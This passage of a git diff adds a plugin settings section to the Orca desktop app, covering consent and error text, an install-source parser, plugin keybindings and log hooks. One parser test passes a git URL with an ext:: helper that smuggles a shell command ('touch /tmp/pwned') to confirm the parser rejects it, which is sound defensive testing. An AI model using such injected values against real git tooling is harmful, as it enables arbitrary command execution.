+      <PluginInstallDialog open={installOpen} onOpenChange={setInstallOpen} onInstall={install} />
+      <PluginConsentDialog
+        key={consentPlugin?.pluginKey ?? 'closed'}
+        plugin={consentPlugin}
+        onDecision={decideConsent}
+      />
+      <PluginRemoveDialog
+        plugin={removePlugin}
+        busy={Boolean(removePlugin && busyPluginKeys.has(removePlugin.pluginKey))}
+        onCancel={() => setRemovePluginId(null)}
+        onConfirm={(pluginKey) => void remove(pluginKey)}
+      />
+      <PluginRollbackDialog
+        plugin={marketplaceLifecycle.rollbackPlugin}
+        busy={Boolean(
+          marketplaceLifecycle.rollbackPlugin &&
+          busyPluginKeys.has(marketplaceLifecycle.rollbackPlugin.pluginKey)
+        )}
+        error={marketplaceLifecycle.rollbackError}
+        onCancel={marketplaceLifecycle.cancelRollback}
+        onConfirm={(pluginKey) => void marketplaceLifecycle.confirmRollback(pluginKey)}
+      />
+    </SettingsSection>
+  )
+}
diff --git a/src/renderer/src/components/settings/Settings.tsx b/src/renderer/src/components/settings/Settings.tsx
index 65b98097c..4ebacbb93 100644
--- a/src/renderer/src/components/settings/Settings.tsx
+++ b/src/renderer/src/components/settings/Settings.tsx
@@ -51,6 +51,7 @@ import { NotificationsPane } from './NotificationsPane'
 import { VoicePane } from './VoicePane'
 import { SshPane } from './SshPane'
 import { ExperimentalPane } from './ExperimentalPane'
+import { PluginsSettingsSection } from './PluginsSettingsSection'
 import { AgentsPane } from './AgentsPane'
 import { OrchestrationPane } from './OrchestrationPane'
 import { LinearAgentSkillPane } from './LinearAgentSkillPane'
@@ -280,6 +281,7 @@ function Settings(): React.JSX.Element {
   const settings = useAppStore((s) => s.settings)
   const keybindings = useAppStore((s) => s.keybindings)
   const updateSettings = useAppStore((s) => s.updateSettings)
+  const updateSettingsOrThrow = useAppStore((s) => s.updateSettingsOrThrow)
   const setActiveRuntimeEnvironmentPreference = useAppStore(
     (s) => s.setActiveRuntimeEnvironmentPreference
   )
@@ -1724,6 +1726,14 @@ function Settings(): React.JSX.Element {
                   ) : null}
                 </SettingsSection>
 
+                {showDesktopOnlySettings ? (
+                  <PluginsSettingsSection
+                    mounted={isSectionMounted('plugins')}
+                    settings={settings}
+                    updateSettings={updateSettingsOrThrow}
+                  />
+                ) : null}
+
                 {settingsProjectList.map((settingsProject) => {
                   const repoSectionId = `repo-${settingsProject.representativeRepoId}`
                   // Why: use the switcher-selected host's repo so identity/host-specific edits follow "Available Hosts".
diff --git a/src/renderer/src/components/settings/SettingsSidebar.test.tsx b/src/renderer/src/components/settings/SettingsSidebar.test.tsx
index 6fec899ef..18e766838 100644
--- a/src/renderer/src/components/settings/SettingsSidebar.test.tsx
+++ b/src/renderer/src/components/settings/SettingsSidebar.test.tsx
@@ -1,6 +1,8 @@
+// @vitest-environment happy-dom
+
 import { renderToStaticMarkup } from 'react-dom/server'
-import { Bot, Mic, Network } from 'lucide-react'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
+import { Bot, Mic, Network, Puzzle } from 'lucide-react'
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
 import { getDefaultSettings } from '../../../../shared/constants'
 import { SettingsSidebar } from './SettingsSidebar'
 import { TooltipProvider } from '../ui/tooltip'
@@ -68,6 +70,11 @@ function renderSidebar(
                 title: 'Computer Use',
                 icon: Bot,
                 installStatus: 'up-to-date'
+              },
+              {
+                id: 'plugins',
+                title: 'Plugins',
+                icon: Puzzle
               }
             ]
           },
@@ -101,6 +108,10 @@ describe('SettingsSidebar', () => {
     mocks.useSettingsSetupGuideProgress.mockReturnValue(makeSetupGuideProgress())
   })
 
+  afterEach(() => {
+    document.body.innerHTML = ''
+  })
+
   it('applies left sidebar appearance styles to the settings navigation', () => {
     const markup = renderSidebar('orchestration', {
       ...getDefaultSettings('/tmp'),
diff --git a/src/renderer/src/components/settings/ShortcutsPane.tsx b/src/renderer/src/components/settings/ShortcutsPane.tsx
index a35294e1b..8c8b2eb22 100644
--- a/src/renderer/src/components/settings/ShortcutsPane.tsx
+++ b/src/renderer/src/components/settings/ShortcutsPane.tsx
@@ -1,19 +1,16 @@
 import React, { useEffect, useMemo, useState } from 'react'
 import {
-  findKeybindingConflicts,
+  findKeybindingConflictsForDefinitions,
   formatKeybindingList,
-  getEffectiveKeybindingsForAction,
+  getEffectiveKeybindingsForDefinition,
   getKeybindingDefinition,
   keybindingFromInputForAction,
   normalizeKeybindingListForAction,
   type KeybindingActionId,
+  type KeybindingDefinition,
   type KeybindingInput
 } from '../../../../shared/keybindings'
-import {
-  EMPTY_DISABLED_TUI_AGENTS,
-  disabledAgentTabActionIds,
-  groupDefinitions
-} from './shortcut-groups'
+import { EMPTY_DISABLED_TUI_AGENTS } from './shortcut-groups'
 import { useAppStore } from '../../store'
 import { KeybindingsFileActions } from './KeybindingsFileActions'
 import { SettingsSubsectionHeader } from './SettingsFormControls'
@@ -46,6 +43,8 @@ import {
 } from './shortcut-binding-list-mutations'
 import { useMountedRef } from '@/hooks/useMountedRef'
 import { translate } from '@/i18n/i18n'
+import { useEditablePluginCommands } from '@/store/plugin-panels'
+import { buildShortcutDefinitionCatalog } from './shortcut-definition-catalog'
 
 const isMac = navigator.userAgent.includes('Mac')
 const platform: NodeJS.Platform = isMac
@@ -68,6 +67,7 @@ export function ShortcutsPane(): React.JSX.Element {
   const setKeybindingOverride = useAppStore((state) => state.setKeybindingOverride)
   const resetKeybindingOverride = useAppStore((state) => state.resetKeybindingOverride)
   const disableKeybindingAction = useAppStore((state) => state.disableKeybindingAction)
+  const pluginCommands = useEditablePluginCommands()
   const mountedRef = useMountedRef()
   const [errors, setErrors] = useState<Partial<Record<KeybindingActionId, string>>>({})
   const [recordingActionId, setRecordingActionId] = useState<KeybindingActionId | null>(null)
@@ -90,34 +90,32 @@ export function ShortcutsPane(): React.JSX.Element {
     return () => window.api.ui.setShortcutRecorderFocused(false)
   }, [recordingActionId])
 
-  const groups = useMemo(() => groupDefinitions(disabledTuiAgents), [disabledTuiAgents])
-  const ignoredConflictActionIds = useMemo(
-    () => disabledAgentTabActionIds(disabledTuiAgents),
-    [disabledTuiAgents]
-  )
-  const conflictByAction = useMemo(() => {
-    const result = new Map<KeybindingActionId, string[]>()
-    for (const conflict of findKeybindingConflicts(platform, keybindings, {
-      ignoredActionIds: ignoredConflictActionIds
-    })) {
-      const labels = conflict.actionIds
-        .map((id) => getKeybindingDefinition(id)?.title ?? id)
-        .join(', ')
-      for (const actionId of conflict.actionIds) {
-        result.set(actionId, [
-          ...(result.get(actionId) ?? []),
-          `${formatKeybindingList([conflict.binding], platform)} conflicts with ${labels}.`
-        ])
-      }
-    }
-    return result
-  }, [ignoredConflictActionIds, keybindings])
+  const { groups, definitions, definitionsByAction, ignoredConflictActionIds, conflictByAction } =
+    useMemo(
+      () =>
+        buildShortcutDefinitionCatalog({
+          disabledTuiAgents,
+          pluginCommands,
+          keybindings,
+          platform
+        }),
+      [disabledTuiAgents, keybindings, pluginCommands]
+    )
+  const definitionForAction = (actionId: KeybindingActionId): KeybindingDefinition | null =>
+    definitionsByAction.get(actionId) ?? getKeybindingDefinition(actionId)
+  const effectiveBindingsForAction = (
+    actionId: KeybindingActionId,
+    overrides = keybindings
+  ): string[] => {
+    const definition = definitionForAction(actionId)
+    return definition ? getEffectiveKeybindingsForDefinition(definition, platform, overrides) : []
+  }
   const shortcutGroups = useMemo<ShortcutRowsByGroup[]>(
     () =>
       groups.map((group) => ({
         title: group.title,
         rows: group.items.map((item) => {
-          const effective = getEffectiveKeybindingsForAction(item.id, platform, keybindings)
+          const effective = getEffectiveKeybindingsForDefinition(item, platform, keybindings)
           const modified = hasOwnBindingOverride(keybindings, item.id)
           const warnings = conflictByAction.get(item.id) ?? []
           return {
@@ -176,19 +174,30 @@ export function ShortcutsPane(): React.JSX.Element {
       return false
     }
 
-    const defaults = getEffectiveKeybindingsForAction(actionId, platform, {})
+    const definition = definitionForAction(actionId)
+    if (!definition) {
+      setErrors((prev) => ({
+        ...prev,
+        [actionId]: translate(
+          'auto.components.settings.ShortcutsPane.shortcutUnavailable',
+          'Shortcut is no longer available.'
+        )
+      }))
+      return false
+    }
+    const defaults = getEffectiveKeybindingsForDefinition(definition, platform, {})
     const next =
       sameBindings(normalizedResult, defaults) ||
       (normalizedResult.length === 0 && defaults.length === 0)
         ? removeBindingOverride(keybindings, actionId)
         : { ...keybindings, [actionId]: normalizedResult }
-    const blockingConflict = findKeybindingConflicts(platform, next, {
+    const blockingConflict = findKeybindingConflictsForDefinitions(definitions, platform, next, {
       ignoredActionIds: ignoredConflictActionIds
     }).find((conflict) => conflict.actionIds.includes(actionId))
     if (blockingConflict) {
       const labels = blockingConflict.actionIds
         .filter((id) => id !== actionId)
-        .map((id) => getKeybindingDefinition(id)?.title ?? id)
+        .map((id) => definitionsByAction.get(id)?.title ?? id)
         .join(', ')
       setErrors((prev) => ({
         ...prev,
@@ -229,7 +238,7 @@ export function ShortcutsPane(): React.JSX.Element {
 
     // Edit just the targeted binding (or append a new one) instead of replacing
     // the whole list, so an action's other bindings survive the capture.
-    const current = getEffectiveKeybindingsForAction(actionId, platform, keybindings)
+    const current = effectiveBindingsForAction(actionId)
     const next =
       recordingBindingIndex === null || recordingBindingIndex >= current.length
         ? appendBinding(current, captured.value)
@@ -242,7 +251,7 @@ export function ShortcutsPane(): React.JSX.Element {
 
   const removeBinding = async (actionId: KeybindingActionId, index: number): Promise<void> => {
     setErrors((prev) => ({ ...prev, [actionId]: undefined }))
-    const current = getEffectiveKeybindingsForAction(actionId, platform, keybindings)
+    const current = effectiveBindingsForAction(actionId)
     await saveBindings(actionId, removeBindingAt(current, index))
   }
 
@@ -250,7 +259,7 @@ export function ShortcutsPane(): React.JSX.Element {
     setErrors((prev) => ({ ...prev, [actionId]: undefined }))
     try {
       await (hasCommonBindingOverride(keybindingSnapshot, actionId)
-        ? setKeybindingOverride(actionId, getEffectiveKeybindingsForAction(actionId, platform, {}))
+        ? setKeybindingOverride(actionId, effectiveBindingsForAction(actionId, {}))
         : resetKeybindingOverride(actionId))
     } catch (error) {
       if (mountedRef.current) {
@@ -374,7 +383,7 @@ export function ShortcutsPane(): React.JSX.Element {
               clearError(actionId)
             }}
             onAppendBinding={(actionId) => {
-              const current = getEffectiveKeybindingsForAction(actionId, platform, keybindings)
+              const current = effectiveBindingsForAction(actionId)
               setRecordingActionId(actionId)
               setRecordingBindingIndex(current.length)
               clearError(actionId)
@@ -403,7 +412,7 @@ export function ShortcutsPane(): React.JSX.Element {
             }}
             onDisableAction={(actionId) => {
               // Remember the current bindings first so "Enable" can restore them.
-              const current = getEffectiveKeybindingsForAction(actionId, platform, keybindings)
+              const current = effectiveBindingsForAction(actionId)
               setDisableMemory((memory) => ({ ...memory, [actionId]: current }))
               clearRecordingForAction(actionId)
               void disableBinding(actionId)
diff --git a/src/renderer/src/components/settings/plugin-capability-presentation.ts b/src/renderer/src/components/settings/plugin-capability-presentation.ts
new file mode 100644
index 000000000..b1145eeeb
--- /dev/null
+++ b/src/renderer/src/components/settings/plugin-capability-presentation.ts
@@ -0,0 +1,43 @@
+import { translate } from '@/i18n/i18n'
+
+export function pluginCapabilityDescription(kind: string, fallback: string): string {
+  switch (kind) {
+    case 'workspace:read':
+      return translate(
+        'auto.components.settings.PluginConsentDialog.capability.workspaceRead',
+        'Read the name, branch, and terminal list of your focused worktree'
+      )
+    case 'terminal:send':
+      return translate(
+        'auto.components.settings.PluginConsentDialog.capability.terminalSend',
+        'Type text into a terminal you can see (always a specific terminal)'
+      )
+    case 'notifications:show':
+      return translate(
+        'auto.components.settings.PluginConsentDialog.capability.notificationsShow',
+        'Show desktop notifications labeled with the plugin name'
+      )
+    case 'storage':
+      return translate(
+        'auto.components.settings.PluginConsentDialog.capability.storage',
+        "Store data in the plugin's own storage folder"
+      )
+    case 'secrets':
+      return translate(
+        'auto.components.settings.PluginConsentDialog.capability.secrets',
+        "Store and read secrets in the plugin's own encrypted vault"
+      )
+    case 'events:subscribe':
+      return translate(
+        'auto.components.settings.PluginConsentDialog.capability.eventsSubscribe',
+        'Get notified when worktrees are created or removed and when agent status changes'
+      )
+    case 'settings:own':
+      return translate(
+        'auto.components.settings.PluginConsentDialog.capability.settingsOwn',
+        "Read and change the plugin's own settings"
+      )
+    default:
+      return fallback
+  }
+}
diff --git a/src/renderer/src/components/settings/plugin-error-presentation.ts b/src/renderer/src/components/settings/plugin-error-presentation.ts
new file mode 100644
index 000000000..78072aecb
--- /dev/null
+++ b/src/renderer/src/components/settings/plugin-error-presentation.ts
@@ -0,0 +1,95 @@
+import { translate } from '@/i18n/i18n'
+
+function errorText(cause: unknown): string {
+  return (cause instanceof Error ? cause.message : String(cause)).toLowerCase()
+}
+
+export function pluginInstallErrorMessage(cause: unknown): string {
+  const detail = errorText(cause)
+  if (detail.includes('orca-plugin.json') && /(missing|unreadable|no )/.test(detail)) {
+    return translate(
+      'auto.components.settings.pluginError.installManifestMissing',
+      "No readable orca-plugin.json was found. Choose the plugin's root folder."
+    )
+  }
+  if (detail.includes('invalid manifest')) {
+    return translate(
+      'auto.components.settings.pluginError.installManifestInvalid',
+      'orca-plugin.json is invalid. Ask the plugin author to fix the manifest.'
+    )
+  }
+  if (detail.includes('requires orca')) {
+    return translate(
+      'auto.components.settings.pluginError.incompatible',
+      'This plugin requires a different Orca version.'
+    )
+  }
+  if (/(symlink|outside|absolute|path traversal|drive prefix)/.test(detail)) {
+    return translate(
+      'auto.components.settings.pluginError.installUnsafePath',
+      'The plugin contains an unsafe file path or symlink and was not installed.'
+    )
+  }
+  if (/(exceeds|too many)/.test(detail)) {
+    return translate(
+      'auto.components.settings.pluginError.installLimit',
+      "The plugin exceeds Orca's install size or file-count limits."
+    )
+  }
+  if (/(git|repository|fetch|clone|checkout|remote)/.test(detail)) {
+    return translate(
+      'auto.components.settings.pluginError.installGit',
+      'Orca could not fetch the pinned Git revision. Check the URL, #ref, access, and system Git setup.'
+    )
+  }
+  return translate(
+    'auto.components.settings.PluginInstallDialog.installFailed',
+    'Plugin installation failed. Check the source and try again.'
+  )
+}
+
+export function invalidPluginErrorMessage(detailValue: string): string {
+  const detail = detailValue.toLowerCase()
+  if (detail.includes('missing orca-plugin.json')) {
+    return translate(
+      'auto.components.settings.pluginError.invalidManifestMissing',
+      'The plugin root is missing orca-plugin.json. Add it, then refresh plugins.'
+    )
+  }
+  if (detail.includes('invalid manifest')) {
+    return translate(
+      'auto.components.settings.pluginError.invalidManifest',
+      'orca-plugin.json is invalid. Fix it, then refresh plugins.'
+    )
+  }
+  if (detail.includes('artifact')) {
+    return translate(
+      'auto.components.settings.pluginError.invalidArtifact',
+      'A declared worker or panel file is missing or unsafe. Fix the plugin files, then refresh.'
+    )
+  }
+  if (detail.includes('requires orca')) {
+    return translate(
+      'auto.components.settings.pluginError.incompatible',
+      'This plugin requires a different Orca version.'
+    )
+  }
+  return translate(
+    'auto.components.settings.PluginSettingsRow.invalidPluginError',
+    'The plugin manifest or installed files are invalid. Fix the plugin, then refresh.'
+  )
+}
+
+export function pluginConsentErrorMessage(cause: unknown): string {
+  const detail = errorText(cause)
+  if (/(changed|fingerprint|current|stale|review)/.test(detail)) {
+    return translate(
+      'auto.components.settings.pluginError.consentChanged',
+      'The plugin changed while you were reviewing it. Close this dialog and review the updated permissions.'
+    )
+  }
+  return translate(
+    'auto.components.settings.PluginConsentDialog.decisionFailed',
+    'Could not save the permission decision. Try again.'
+  )
+}
diff --git a/src/renderer/src/components/settings/plugin-install-source.test.ts b/src/renderer/src/components/settings/plugin-install-source.test.ts
new file mode 100644
index 000000000..194d091aa
--- /dev/null
+++ b/src/renderer/src/components/settings/plugin-install-source.test.ts
@@ -0,0 +1,51 @@
+import { describe, expect, it } from 'vitest'
+import { parsePluginInstallSource } from './plugin-install-source'
+
+describe('parsePluginInstallSource', () => {
+  it('requires an explicit git hash ref', () => {
+    expect(parsePluginInstallSource('git', 'https://gitlab.example/acme/plugin')).toEqual({
+      ok: false,
+      reason: 'missing-git-ref'
+    })
+    expect(parsePluginInstallSource('git', 'https://gitlab.example/acme/plugin#')).toEqual({
+      ok: false,
+      reason: 'missing-git-ref'
+    })
+  })
+
+  it('separates the git URL and ref at the last hash', () => {
+    expect(parsePluginInstallSource('git', 'https://example.test/plugin.git#v1.2.3')).toEqual({
+      ok: true,
+      source: { kind: 'git', url: 'https://example.test/plugin.git', ref: 'v1.2.3' }
+    })
+  })
+
+  it('accepts HTTPS and SSH git URLs', () => {
+    expect(parsePluginInstallSource('git', 'ssh://git@example.test/acme/plugin.git#main')).toEqual({
+      ok: true,
+      source: { kind: 'git', url: 'ssh://git@example.test/acme/plugin.git', ref: 'main' }
+    })
+    expect(parsePluginInstallSource('git', 'git@example.test:acme/plugin.git#main')).toEqual({
+      ok: true,
+      source: { kind: 'git', url: 'git@example.test:acme/plugin.git', ref: 'main' }
+    })
+  })
+
+  it('rejects executable helpers and embedded HTTPS credentials', () => {
+    expect(parsePluginInstallSource('git', 'ext::sh -c touch% /tmp/pwned#main')).toEqual({
+      ok: false,
+      reason: 'invalid-git-url'
+    })
+    expect(parsePluginInstallSource('git', 'https://user@example.test/plugin.git#main')).toEqual({
+      ok: false,
+      reason: 'invalid-git-url'
+    })
+  })
+
+  it('keeps local paths opaque', () => {
+    expect(parsePluginInstallSource('local-path', ' C:\\plugins\\demo ')).toEqual({
+      ok: true,
+      source: { kind: 'local-path', path: 'C:\\plugins\\demo' }
+    })
+  })
+})
diff --git a/src/renderer/src/components/settings/plugin-install-source.ts b/src/renderer/src/components/settings/plugin-install-source.ts
new file mode 100644
index 000000000..518c0bd21
--- /dev/null
+++ b/src/renderer/src/components/settings/plugin-install-source.ts
@@ -0,0 +1,40 @@
+import type { PluginHostInstallSource } from '../../../../preload/api-types'
+import { isAllowedPluginGitUrl } from '../../../../shared/plugins/plugin-install-lockfile'
+
+export type PluginInstallSourceParseResult =
+  | { ok: true; source: PluginHostInstallSource }
+  | {
+      ok: false
+      reason: 'missing-local-path' | 'missing-git-url' | 'missing-git-ref' | 'invalid-git-url'
+    }
+
+export function parsePluginInstallSource(
+  kind: 'local-path' | 'git',
+  input: string
+): PluginInstallSourceParseResult {
+  const value = input.trim()
+  if (kind === 'local-path') {
+    return value
+      ? { ok: true, source: { kind: 'local-path', path: value } }
+      : { ok: false, reason: 'missing-local-path' }
+  }
+  if (!value) {
+    return { ok: false, reason: 'missing-git-url' }
+  }
+  const separatorIndex = value.lastIndexOf('#')
+  if (separatorIndex <= 0 || separatorIndex === value.length - 1) {
+    return { ok: false, reason: 'missing-git-ref' }
+  }
+  const url = value.slice(0, separatorIndex).trim()
+  const ref = value.slice(separatorIndex + 1).trim()
+  if (!url) {
+    return { ok: false, reason: 'missing-git-url' }
+  }
+  if (!isAllowedPluginGitUrl(url)) {
+    return { ok: false, reason: 'invalid-git-url' }
+  }
+  if (!ref) {
+    return { ok: false, reason: 'missing-git-ref' }
+  }
+  return { ok: true, source: { kind: 'git', url, ref } }
+}
diff --git a/src/renderer/src/components/settings/plugins-search.ts b/src/renderer/src/components/settings/plugins-search.ts
new file mode 100644
index 000000000..24c8983a6
--- /dev/null
+++ b/src/renderer/src/components/settings/plugins-search.ts
@@ -0,0 +1,34 @@
+import { createLocalizedCatalog } from '@/i18n/localized-catalog'
+import { translate } from '@/i18n/i18n'
+import type { SettingsSearchEntry } from './settings-search'
+
+export const getPluginsPaneSearchEntries = createLocalizedCatalog((): SettingsSearchEntry[] => [
+  {
+    title: translate('auto.components.settings.plugins.search.title', 'Plugins'),
+    description: translate(
+      'auto.components.settings.plugins.search.description',
+      'Install and manage experimental Orca plugins.'
+    ),
+    keywords: [
+      translate('auto.components.settings.plugins.search.install', 'install plugin'),
+      translate('auto.components.settings.plugins.search.permissions', 'plugin permissions'),
+      translate('auto.components.settings.plugins.search.logs', 'plugin logs'),
+      translate('auto.components.settings.plugins.search.development', 'development plugins')
+    ]
+  }
+])
+
+export function getPluginsSectionPresentation() {
+  return {
+    title: translate('auto.components.settings.PluginsSettingsSection.title', 'Plugins'),
+    badge: translate(
+      'auto.components.settings.PluginsSettingsSection.experimental',
+      'Experimental'
+    ),
+    description: translate(
+      'auto.components.settings.PluginsSettingsSection.description',
+      'Install and manage Orca plugins. Plugins run on this computer, even for SSH workspaces.'
+    ),
+    searchEntries: getPluginsPaneSearchEntries()
+  }
+}
diff --git a/src/renderer/src/components/settings/shortcut-definition-catalog.ts b/src/renderer/src/components/settings/shortcut-definition-catalog.ts
new file mode 100644
index 000000000..882f74ab7
--- /dev/null
+++ b/src/renderer/src/components/settings/shortcut-definition-catalog.ts
@@ -0,0 +1,62 @@
+import {
+  findKeybindingConflictsForDefinitions,
+  formatKeybindingList,
+  type KeybindingActionId,
+  type KeybindingDefinition,
+  type KeybindingOverrides
+} from '../../../../shared/keybindings'
+import type { TuiAgent } from '../../../../shared/types'
+import type { ActivePluginCommand } from '@/store/plugin-panels'
+import { buildPluginCommandKeybindingDefinitions } from '@/lib/plugin-command-keybindings'
+import { disabledAgentTabActionIds, groupDefinitions, type ShortcutGroup } from './shortcut-groups'
+
+export type ShortcutDefinitionCatalog = {
+  groups: ShortcutGroup[]
+  definitions: KeybindingDefinition[]
+  definitionsByAction: Map<KeybindingActionId, KeybindingDefinition>
+  ignoredConflictActionIds: KeybindingActionId[]
+  conflictByAction: Map<KeybindingActionId, string[]>
+}
+
+export function buildShortcutDefinitionCatalog(options: {
+  disabledTuiAgents: readonly TuiAgent[]
+  pluginCommands: readonly ActivePluginCommand[]
+  keybindings: KeybindingOverrides
+  platform: NodeJS.Platform
+}): ShortcutDefinitionCatalog {
+  const pluginDefinitions = buildPluginCommandKeybindingDefinitions(options.pluginCommands)
+  const groups = groupDefinitions(options.disabledTuiAgents, pluginDefinitions)
+  const definitions = groups.flatMap((group) => group.items)
+  const definitionsByAction = new Map(definitions.map((definition) => [definition.id, definition]))
+  const ignoredConflictActionIds = disabledAgentTabActionIds(options.disabledTuiAgents)
+  const conflictByAction = new Map<KeybindingActionId, string[]>()
+  const conflicts = findKeybindingConflictsForDefinitions(
+    definitions,
+    options.platform,
+    options.keybindings,
+    {
+      ignoredActionIds: ignoredConflictActionIds,
+      // Plugin defaults are external additions to Orca's conflict-free static
+      // registry, so surface their collisions even before the user customizes one.
+      relevantActionIds: pluginDefinitions.map((definition) => definition.id)
+    }
+  )
+  for (const conflict of conflicts) {
+    const labels = conflict.actionIds
+      .map((id) => definitionsByAction.get(id)?.title ?? id)
+      .join(', ')
+    for (const actionId of conflict.actionIds) {
+      conflictByAction.set(actionId, [
+        ...(conflictByAction.get(actionId) ?? []),
+        `${formatKeybindingList([conflict.binding], options.platform)} conflicts with ${labels}.`
+      ])
+    }
+  }
+  return {
+    groups,
+    definitions,
+    definitionsByAction,
+    ignoredConflictActionIds,
+    conflictByAction
+  }
+}
diff --git a/src/renderer/src/components/settings/shortcut-groups.test.ts b/src/renderer/src/components/settings/shortcut-groups.test.ts
new file mode 100644
index 000000000..1feea9157
--- /dev/null
+++ b/src/renderer/src/components/settings/shortcut-groups.test.ts
@@ -0,0 +1,54 @@
+import { describe, expect, it } from 'vitest'
+import type { KeybindingDefinition } from '../../../../shared/keybindings'
+import type { ActivePluginCommand } from '@/store/plugin-panels'
+import { buildShortcutDefinitionCatalog } from './shortcut-definition-catalog'
+import { groupDefinitions } from './shortcut-groups'
+
+const pluginDefinition: KeybindingDefinition = {
+  id: 'plugin:orca-samples.tasks/open',
+  title: 'Open Tasks — Tasks',
+  group: 'Plugins',
+  scope: 'global',
+  searchKeywords: ['plugin', 'tasks'],
+  defaultBindings: {
+    darwin: ['Mod+Alt+T'],
+    linux: ['Mod+Alt+T'],
+    win32: ['Mod+Alt+T']
+  }
+}
+
+describe('shortcut groups', () => {
+  it('includes dynamic plugin command definitions in Settings', () => {
+    expect(groupDefinitions([], [pluginDefinition])).toEqual(
+      expect.arrayContaining([
+        expect.objectContaining({
+          title: 'Plugins',
+          items: [pluginDefinition]
+        })
+      ])
+    )
+  })
+
+  it('reports a plugin default that shadows a built-in shortcut', () => {
+    const command: ActivePluginCommand = {
+      pluginKey: 'orca-samples.tasks',
+      pluginName: 'Tasks',
+      id: 'open',
+      title: 'Open Tasks',
+      context: 'global',
+      handler: { type: 'built-in', action: 'view.tasks' },
+      keybindings: [{ key: 'Mod+P', when: 'global' }]
+    }
+
+    const catalog = buildShortcutDefinitionCatalog({
+      disabledTuiAgents: [],
+      pluginCommands: [command],
+      keybindings: {},
+      platform: 'darwin'
+    })
+
+    expect(catalog.conflictByAction.get('plugin:orca-samples.tasks/open')).toEqual([
+      expect.stringContaining('Go to File')
+    ])
+  })
+})
diff --git a/src/renderer/src/components/settings/shortcut-groups.ts b/src/renderer/src/components/settings/shortcut-groups.ts
index 48eef6640..054a95baf 100644
--- a/src/renderer/src/components/settings/shortcut-groups.ts
+++ b/src/renderer/src/components/settings/shortcut-groups.ts
@@ -20,7 +20,10 @@ export function disabledAgentTabActionIds(
   return normalizeDisabledTuiAgents(disabledTuiAgents).map((agent) => agentTabActionId(agent))
 }
 
-export function groupDefinitions(disabledTuiAgents: readonly TuiAgent[]): ShortcutGroup[] {
+export function groupDefinitions(
+  disabledTuiAgents: readonly TuiAgent[],
+  additionalDefinitions: readonly KeybindingDefinition[] = []
+): ShortcutGroup[] {
   // Why: per-agent launch rows only make sense for agents the user keeps
   // enabled in Settings → Agents; hiding disabled ones keeps the Agents group
   // scoped to what the chord could actually launch.
@@ -28,7 +31,7 @@ export function groupDefinitions(disabledTuiAgents: readonly TuiAgent[]): Shortc
     disabledAgentTabActionIds(disabledTuiAgents)
   )
   const groups = new Map<string, KeybindingDefinition[]>()
-  for (const definition of KEYBINDING_DEFINITIONS) {
+  for (const definition of [...KEYBINDING_DEFINITIONS, ...additionalDefinitions]) {
     if (hiddenAgentActionIds.has(definition.id)) {
       continue
     }
diff --git a/src/renderer/src/components/settings/use-plugin-logs.ts b/src/renderer/src/components/settings/use-plugin-logs.ts
new file mode 100644
index 000000000..3753b7f6c
--- /dev/null
+++ b/src/renderer/src/components/settings/use-plugin-logs.ts
@@ -0,0 +1,87 @@
+import { useEffect, useRef, useState, type MutableRefObject } from 'react'
+import type { PluginHostListEntry, PluginHostLogLine } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+import type { PluginLogsState } from './PluginSettingsRow'
+
+export function usePluginLogs(
+  mounted: boolean,
+  mountedRef: MutableRefObject<boolean>,
+  plugins: readonly PluginHostListEntry[]
+): {
+  openLogs: ReadonlySet<string>
+  logsByPlugin: Readonly<Record<string, PluginLogsState>>
+  toggleLogs: (pluginKey: string) => void
+} {
+  const [openLogs, setOpenLogs] = useState<Set<string>>(() => new Set())
+  const [logsByPlugin, setLogsByPlugin] = useState<Record<string, PluginLogsState>>({})
+  const nextRequestRef = useRef(0)
+  const requestsRef = useRef<Record<string, number>>({})
+
+  useEffect(() => {
+    if (!mounted) {
+      setOpenLogs(new Set())
+      setLogsByPlugin({})
+      requestsRef.current = {}
+      return
+    }
+    const installedKeys = new Set(plugins.map((plugin) => plugin.pluginKey))
+    setOpenLogs(
+      (current) => new Set([...current].filter((pluginKey) => installedKeys.has(pluginKey)))
+    )
+    setLogsByPlugin((current) =>
+      Object.fromEntries(
+        Object.entries(current).filter(([pluginKey]) => installedKeys.has(pluginKey))
+      )
+    )
+    for (const pluginKey of Object.keys(requestsRef.current)) {
+      if (!installedKeys.has(pluginKey)) {
+        delete requestsRef.current[pluginKey]
+      }
+    }
+  }, [mounted, plugins])
+
+  const toggleLogs = (pluginKey: string): void => {
+    if (openLogs.has(pluginKey)) {
+      setOpenLogs((current) => {
+        const next = new Set(current)
+        next.delete(pluginKey)
+        return next
+      })
+      return
+    }
+    setOpenLogs((current) => new Set(current).add(pluginKey))
+    if (logsByPlugin[pluginKey]?.lines) {
+      return
+    }
+    const requestId = ++nextRequestRef.current
+    requestsRef.current[pluginKey] = requestId
+    setLogsByPlugin((current) => ({ ...current, [pluginKey]: { loading: true } }))
+    void window.api.plugins
+      .getLogs({ pluginKey })
+      .then((lines: PluginHostLogLine[]) => {
+        if (mountedRef.current && requestsRef.current[pluginKey] === requestId) {
+          setLogsByPlugin((current) => ({
+            ...current,
+            [pluginKey]: { loading: false, lines }
+          }))
+        }
+      })
+      .catch((cause: unknown) => {
+        console.warn('[plugins] log request failed:', cause)
+        if (mountedRef.current && requestsRef.current[pluginKey] === requestId) {
+          setLogsByPlugin((current) => ({
+            ...current,
+            [pluginKey]: {
+              loading: false,
+              error: translate(
+                'auto.components.settings.PluginsSettingsSection.logsFailed',
+                'Could not load plugin logs.'
+              )
+            }
+          }))
+        }
+      })
+  }
+
+  return { openLogs, logsByPlugin, toggleLogs }
+}
diff --git a/src/renderer/src/components/settings/use-plugin-marketplace-lifecycle.ts b/src/renderer/src/components/settings/use-plugin-marketplace-lifecycle.ts
new file mode 100644
index 000000000..f511e1b34
--- /dev/null
+++ b/src/renderer/src/components/settings/use-plugin-marketplace-lifecycle.ts
@@ -0,0 +1,110 @@
+import {
+  useEffect,
+  useState,
+  type Dispatch,
+  type MutableRefObject,
+  type SetStateAction
+} from 'react'
+import type { PluginHostListEntry } from '../../../../preload/api-types'
+import { translate } from '@/i18n/i18n'
+
+type PluginMarketplaceLifecycleOptions = {
+  mounted: boolean
+  mountedRef: MutableRefObject<boolean>
+  plugins: readonly PluginHostListEntry[]
+  applyCompletedMutation: (plugins: PluginHostListEntry[]) => void
+  setPluginListError: (cause: unknown) => void
+  setConsentPluginId: Dispatch<SetStateAction<string | null>>
+  setBusyPluginKeys: Dispatch<SetStateAction<Set<string>>>
+}
+
+export function usePluginMarketplaceLifecycle({
